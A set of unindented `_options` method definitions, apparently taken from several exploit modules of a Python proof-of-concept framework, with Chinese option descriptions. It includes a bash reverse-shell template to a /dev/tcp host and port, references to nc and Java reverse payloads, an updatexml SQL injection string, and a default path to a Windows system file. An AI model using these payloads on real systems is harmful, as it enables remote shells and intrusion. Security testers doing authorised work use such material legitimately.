def _options(self):
o = OrderedDict()
o["command"] = OptString("whoami", description='攻击时自定义命令')
o["app_version"] = OptItems(['2.x', '3.x', 'Auto'],
selected="Auto",
description='目标版本，可自动匹配')
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["payload"] = OptDict(default=payload, selected="bash")
return o
def _options(self):
o = OrderedDict()
o["cmd"] = OptString('touch /tmp/success',
description='需要用户输入执行的命令',
require=True)
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": """bash -i >& /dev/tcp/{0}/{1} 0>&1""",
"java": REVERSE_PAYLOAD.JAVA,
}
o["command"] = OptDict(selected="bash", default=payload)
return o
def _options(self):
o = OrderedDict()
o['port'] = OptString('', description='这个poc需要输入端口', require=False)
return o
def _options(self):
o = OrderedDict()
o["command"] = OptString('touch /tmp/success',
description='这个poc需要用户输入执行命令',
require=True)
return o
def _options(self):
opt = {}
opt['cmd'] = OptString('', description='shell command', require=False)
return opt
def _options(self):
o = OrderedDict()
o['command'] = OptString('whoami', '输入需要执行的命令', require=False)
return o
def _options(self):
o = OrderedDict()
o["path"] = OptString(default='c:/windows/win.ini',description='输入文件路径',require=False)
return o
def _options(self):
o = OrderedDict()
o["user"] = OptString('admin',
description='这个poc需要已知的用户名',
require=True)
return o
def _options(self):
o = OrderedDict()
o["sql"] = OptString('0 or updatexml(0,concat(0xa,user()),0)%23', description='需要用户输入sql注入', require=True)
return o
def _options(self):
o = OrderedDict()
o["code"] = OptString(default='',
description='输入需要上传的代码',
require=False)
return o
def _options(self):
o = OrderedDict()
o['session'] = OptString('', description='current nexus session', require=False)
return o
def _options(self):
o = OrderedDict()
o['jp'] = OptString('', description='exp模式需要指定jar包路径', require=False)
return o
def _options(self):
o = OrderedDict()
o["username"] = OptString('', description='这个poc需要用户登录，请输入登录账号', require=True)
o["password"] = OptString('', description='这个poc需要用户密码，请输出用户密码', require=False)
return o
def _options(self):
o = OrderedDict()
o["ncip"] = OptString('', description='请输入监听服务器IP', require=True)
o["ncport"] = OptString('', description='请输入监听服务器端口', require=True)
return o
def _options(self):
o = OrderedDict()
o["command"] = OptString("whoami", description="攻击时自定义命令")
return o
def _options(self):
o = OrderedDict()
o["port"] = OptString('', description='这个poc需要输入端口号', require=True)
return o
def _options(self):
o = OrderedDict()
o["cmd"] = OptString(default='whoami',
description='输入命令',
require=False)
return o
def _options(self):
o = OrderedDict()
o['username'] = OptString('', description='username', require=False)
o['password'] = OptString('', description='password', require=False)
o['hostid'] = OptString('', description='hostid', require=False)
return o
